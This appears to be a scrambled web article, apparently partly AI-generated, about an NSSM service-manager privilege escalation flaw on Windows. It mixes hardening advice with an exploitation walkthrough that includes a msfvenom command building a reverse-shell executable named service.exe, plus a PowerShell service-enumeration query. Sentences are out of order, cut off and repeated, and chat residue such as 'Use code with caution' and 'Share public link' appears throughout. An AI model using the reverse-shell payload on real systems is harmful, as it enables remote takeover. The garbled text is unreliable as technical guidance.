To prevent your service manager from becoming a security liability, follow these best practices:
Windows interprets the space as a terminator and executes the malicious file instead of the intended NSSM binary. Technical Walkthrough: Exploiting an NSSM Misconfiguration
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=4444 -f exe -o service.exe Use code with caution. Step 3: Replacing the Binary or Modifying Registry nssm224 privilege escalation updated
# Enumerating services and checking for non-standard paths or NSSM references Get-CimInstance -ClassName Win32_Service | Where-Object $_.PathName -like "*nssm*" | Select-Object Name, DisplayName, PathName, StartMode Use code with caution.
To help tailor this to your needs, let me know if you are to test this vulnerability, trying to write a detection rule for an EDR, or looking for specific PowerShell automation scripts to patch these service permissions across your network. Share public link To prevent your service manager from becoming a
They then compile or drop a malicious executable (e.g., a reverse shell) and name it the original application’s filename.
You can use icacls to reset directory permissions effectively: To help tailor this to your needs, let
In August 2025, security researchers disclosed a critical privilege escalation vulnerability associated with — one of the most widely used open-source utilities for managing Windows services. Identified as CVE-2025-41686 , this flaw quickly became a top concern for organizations relying on NSSM-powered software deployments. This article provides a comprehensive technical analysis of the vulnerability, its real-world impact, and actionable steps to secure your systems.
Mechanism C: Weak Service Permissions (SERVICE_CHANGE_CONFIG)